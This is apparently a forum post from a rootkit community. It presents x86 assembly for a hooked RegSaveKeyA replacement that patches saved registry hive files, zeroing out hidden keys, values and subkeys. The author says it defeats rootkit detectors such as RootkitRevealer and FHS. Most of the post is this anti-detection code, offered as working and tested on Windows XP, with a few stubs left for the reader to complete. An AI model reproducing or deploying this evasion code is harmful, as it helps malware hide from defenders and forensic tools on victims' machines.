By: EiNSTeiN_
How it works:
Many hidden-regkey-detection tools detect hidden stuff by dumping some
registry hives to a file and then compare it to what is returned by some
usualy-hooked function like NtEnumerateKey. Now the first problem is, if we
want to patch the file, is to read it, because the structure of a
registry hive is not documented by microsoft, and I actualy found only one
paper that describe it well enough to understand something.
Lets say we know how to correctly patch it, the question is wich functions
should we hook ? Why not hooking NtSaveKey (higher-level function) instead
of RegSaveKey ? This is the second problem. NtSaveKey (wich is called
internaly by RegSaveKey) take only the key hanlde and the file handle as
parameter.
NtSaveKey(
IN HANDLE KeyHandle,
IN HANDLE FileHandle
);
FileHandle must be a valid handle to a file object returned by a call to
CreateFile. Unfortunatly, the file is openend most of the time with only
WRITE access (NtSaveKey don't need READ access), and I don't know how to
add the missing READ access. If someone know PLEASE let me know :).
Now what about RagSaveKeyA :
RegSaveKeyA is called with the complete path of the file where to save the
hive, so we'll just have to call the original RegSaveKeyA and then re-open
the file and patch it. This just looks like what we need!
Limitation of the code:
The main way of bypassing this code is if someone dump the
HKLM/SYSTEM/CurrentControlSet/Services hive with RegSaveKey, restore it
with RegRestoreKey and then reboot the computer, all hidden services will
be removed.
You will also have to code a cmp_pchar_with_hidden_regkey_list fucntion,
wich the prototype looks like:
void cmp_pchar_with_hidden_regkey_list(char *keyname, int namesize);
return 1 if the key must be hidden, otherwise return 0
I hope i've been clear enough and everyone understood me, and sorry for my
poor english.
Here's a fully-working replacement function for RegSaveKeyA that bypass
FHS, rootkit revealer and knlsc.
Tested on XP Sp0 and Sp2
push ebp
mov ebp, esp
sub esp, 028h
/*
-028 - DWORD address of the frist hbin block
-024 - DWORD file opened
-020 - DWORD current data-block addr
-01C - DWORD current data-block size
-018 - DWORD offset to the next hbin block (size
of current block)
-014 - DWORD address of the current hbin block
-010 - DWORD total data-blocks size
-00C - LPVOID MappedView
-008 - HANDLE MappedFile
-004 - BOOL LResult
+008 - HANDLE KeyHandle
+00C - LPCTSTR
lpFile //HANDLE FileHandle
+010 - LPSECURITY_ATTRIBUTES lpSecurityAttributes
*/
//*********************************
//CALL THE ORIGINAL RegSaveKey HERE
//*********************************
push 0
push 0
push OPEN_EXISTING
push 0
push 0
push GENERIC_WRITE|GENERIC_READ
push [ebp+00Ch]
call [CreateFileA]
cmp eax, -1 //INVALID_HANDLE_VALUE
je go_ret
/* msdn:
If the function succeeds, the return value is an open handle to the
specified file.
If the function fails, the return value is INVALID_HANDLE_VALUE.
*/
mov [ebp-024h], eax
//call CreateFileMapping(File Handle)
push 0 //name = NULL
push 0 //[ebp-024h] //size low
push 0 //size high = 0
push PAGE_READWRITE //protect = read and write access
push 0 //attributes = NULL
push [ebp-024h] //file handle
call [CreateFileMapping]
mov [ebp-008h], eax
/* msdn:
If the function succeeds, the return value is a handle to the file
mapping object.
If the function fails, the return value is NULL.
*/
cmp dword ptr [ebp-008h], 0
je close_file
//call MapViewOfFile(mapped file)
push 0 //bytes to map = 0 (map all)
push 0 //offset low = 0
push 0 //offset high = 0
push FILE_MAP_READ|FILE_MAP_WRITE //desired access
push [ebp-008h] //file mapping object
call [MapViewOfFile]
mov [ebp-00Ch], eax
/* msdn:
If the function succeeds, the return value is the starting address of
the mapped view.
If the function fails, the return value is NULL.
*/
cmp dword ptr [ebp-00Ch], 0
je close_map
//now, patch the file !
//first we check for the regf (registry file) header
mov eax, [ebp-00Ch]
mov edi, [eax]
cmp edi, 066676572h // 'regf'
jne unmap_view //seems to be not a registry file :s
//save total size of all blocks
mov edi, [eax+028h]
mov [ebp-010h], edi
//do some preparing for the upcoming loop
mov [ebp-014h], eax
mov dword ptr [ebp-018h], 01000h
//save address of the first hbin block
add eax, 01000h
mov [ebp-028h], eax
process_next_hbin:
//jump to the next hbin block
mov eax, [ebp-014h] //addr
add eax, [ebp-018h] //size
//confirm we got bin header block
mov edi, [eax]
cmp edi, 06E696268h // 'hbin'
jne unmap_view //seems to be not a bin header :s
//backup addr of current hbin block
mov [ebp-014h], eax
//save offset to the next hbin block
mov edi, [eax+008h]
mov [ebp-018h], edi
cmp dword ptr [ebp-018h], 0
je unmap_view //seems we have a hbin block with a size of zero. exit
for no deadlock
//check if we reached the data-blocks size
mov edi, [ebp-014h]
sub edi, [ebp-00Ch]
mov esi, [ebp-010h]
cmp edi, esi
jae unmap_view
//do some preparing for the next loop
mov [ebp-020h], eax
mov dword ptr [ebp-01Ch], 020h
process_next_datablock:
//_emit 0xCC
//jump to the next data-block
mov eax, [ebp-020h] //addr
add eax, [ebp-01Ch] //size
//save current size
mov edi, [eax]
cmp edi, [ebp-018h]
jb not_neg //if offset is inside the hbin block
not edi
inc edi
not_neg:
lea edi, [edi-004]
mov [ebp-01Ch], edi
cmp dword ptr [ebp-01Ch], 0
je process_next_hbin //seems we have a data-block with a size of
zero. go to next hbin for no deadlock
//check for hbin block
cmp dword ptr [eax], 06E696268h // 'hbin'
je process_next_hbin
//save current address
add eax, 4
mov [ebp-020h], eax
//check if we reached the data-blocks size
mov edi, [ebp-014h]
sub edi, [ebp-00Ch]
mov esi, [ebp-010h]
cmp edi, esi
jae unmap_view
//check for hbin block
//cmp dword ptr [eax], 06E696268h // 'hbin'
//je process_next_hbin
//check for nk
cmp word ptr [eax], 06B6Eh // 'nk'
//je process_nk_block
//found a block that we don't need to process now
jne process_next_datablock
//-------- end of loop
//patch each blocks
process_nk_block:
cmp word ptr [eax+002h], 02Ch
je process_nk_block_rootkey //got a rootkey: we have nothing to do
with that
cmp word ptr [eax+002h], 020h
jne process_nk_block_end //got something else than what expected
//process the key record
xor ecx,ecx
mov cx, word ptr [eax+048h] //ecx = len
lea edi, [eax+04Ch] //edi = name
//check if the key name must be hidden
//if it is, fill the content of the key block and its value-blocks
with zeros. same for sub-keys
push ecx //len
push edi //name
call [cmp_pchar_with_hidden_regkey_list]
cmp eax, 1
jne process_nk_block_end //not to hide, exit
//call the nk cleaning function
push [ebp-028h] //first hbin block
push [ebp-020h] //nk block
call [clean_nk]
jmp process_nk_block_end
// void clean_nk(PVOID nk_block, PVOID hbin_block);
clean_nk:
push ebp
mov ebp, esp
sub esp, 008h
/*
-010 subkeys list address
-00C number of subkeys
-008 value list address
-004 number of values
+008 address of nk block
+00C address of hbin block (because all offsets are relative to
this block)
*/
push esi
push edi
push ecx
//get the value list
mov eax, [ebp+008h] //nk
mov edi, [eax+028h] //offset to value list
cmp edi, -1
je clean_nk_subkey_start
cmp edi, 0
je clean_nk_subkey_start
add edi, [ebp+00Ch] //hbin
add edi, 4
mov [ebp-008h], edi
//get the value list size
mov ecx, [edi-004h]
not ecx
inc ecx
lea ecx, [ecx-004]
mov [ebp-004h], ecx
//clean it
xor esi, esi
clean_nk_loop_value:
mov edi, [ebp-008h] //value list addr
mov eax, [edi+esi] //address of entry
cmp eax, -1
je clean_nk_loop_end
cmp eax, 0
je clean_nk_loop_end
add eax, [ebp+00Ch] //hbin
push [ebp+00Ch]
push eax //address of vk entry
call [clean_value]
clean_nk_loop_end:
mov dword ptr [edi+esi], 0
add esi, 4
cmp ecx, esi
ja clean_nk_loop_value
clean_nk_subkey_start:
//get sub-keys lf record
mov eax, [ebp+008h] //nk block
mov edi, [eax+01Ch] //offset to lf record
cmp edi, -1
je clean_nk_block_start
cmp edi, 0
je clean_nk_block_start
add edi, [ebp+00Ch] //hbin block
mov esi, [edi]
not esi
inc esi
lea esi, [esi-004]
lea esi, [esi-004]
mov [ebp-00Ch], esi //number of subkey
add edi, 8
mov [ebp-010h], edi //address of subkey list
//clean it
mov ecx, esi
xor esi, esi
clean_nk_loop_subkey:
mov eax, [ebp+00Ch] //hbin
mov edi, [ebp-010h] //value list addr
add eax, [edi+esi] //address of entry
push [ebp+00Ch]
add eax, 4
push eax //address of nk entry
call [clean_nk]
mov dword ptr [edi+esi], 0
mov dword ptr [edi+esi+4], 0
add esi, 8
cmp ecx, esi
ja clean_nk_loop_subkey
clean_nk_block_start:
mov edi, [ebp+008h]
mov ecx, [edi-004]
not ecx
inc ecx
lea ecx, [ecx-004]
clean_nk_zero_next:
mov byte ptr [edi+ecx-1], 000h
loop clean_nk_zero_next
//clean_nk_exit:
pop ecx
pop edi
pop esi
leave
ret 008h
// ------------------ endp
// void clean_value(PVOID vk_block, PVOID hbin_block);
clean_value:
push ebp
mov ebp, esp
sub esp, 000h
/*
+008 address of vk block
+00C address of hbin block
*/
push esi
push edi
push ecx
//prepare for the loop
mov esi, [ebp+008h]
mov ecx, [esi] //size of block
not ecx
inc ecx
lea ecx, [ecx-004]
lea edi, [esi+004h]
cmp word ptr [edi], 0x6B76 // 'vk'
jne clean_value_end //check if we realy have a vk block
cmp dword ptr [edi+00Ch], 4 //the data is stored in the offset field
je no_data_to_clean
mov esi, [edi+008h]
cmp esi, 0
je no_data_to_clean
cmp esi, -1
je no_data_to_clean
add esi, [ebp+00Ch]
push esi
call [clean_vk_data]
no_data_to_clean:
//ecx = size of vk block
//edi = address of vk block
clean_value_zero_next:
mov byte ptr [edi+ecx-1], 000h
loop clean_value_zero_next
clean_value_end:
pop ecx
pop edi
pop esi
leave
ret 008h
// ------------------ endp
// void clean_vk_data(PVOID vk_data);
clean_vk_data:
push ebp
mov ebp, esp
sub esp, 000h
/*
+008 address of vk data
*/
push esi
push edi
push ecx
mov edi, [ebp+008h]
mov ecx, [edi]
add edi, 4
not ecx
inc ecx
lea ecx, [ecx-004]
//ecx = size of vk block
//edi = address of vk block
clean_vk_data_zero_next:
mov byte ptr [edi+ecx-1], 000h
loop clean_vk_data_zero_next
//clean_vk_data_end:
pop ecx
pop edi
pop esi
leave
ret 004h
// ------------------ endp
process_nk_block_rootkey:
process_nk_block_end:
jmp process_next_datablock
unmap_view:
//call UnmapViewOfFile(mapped view)
push [ebp-00Ch]
call [UnmapViewOfFile]
close_map:
//call CloseHandle(mapped file)
push [ebp-008h]
call [CloseHandle]
close_file:
push [ebp-024h]
call [CloseHandle]
read comments (7) / write comment
recent comments:
typedefs & more details EiNSTeiN_ 24.Mar:20:12
Support Tools from Sysinternals.com kangeroo_4u 21.Mar:06:46
good,but.... ntsystem 20.Mar:16:36
work still needed on the code ... EiNSTeiN_ 20.Mar:16:32
BTW nice work! dsei 20.Mar:00:32
. . .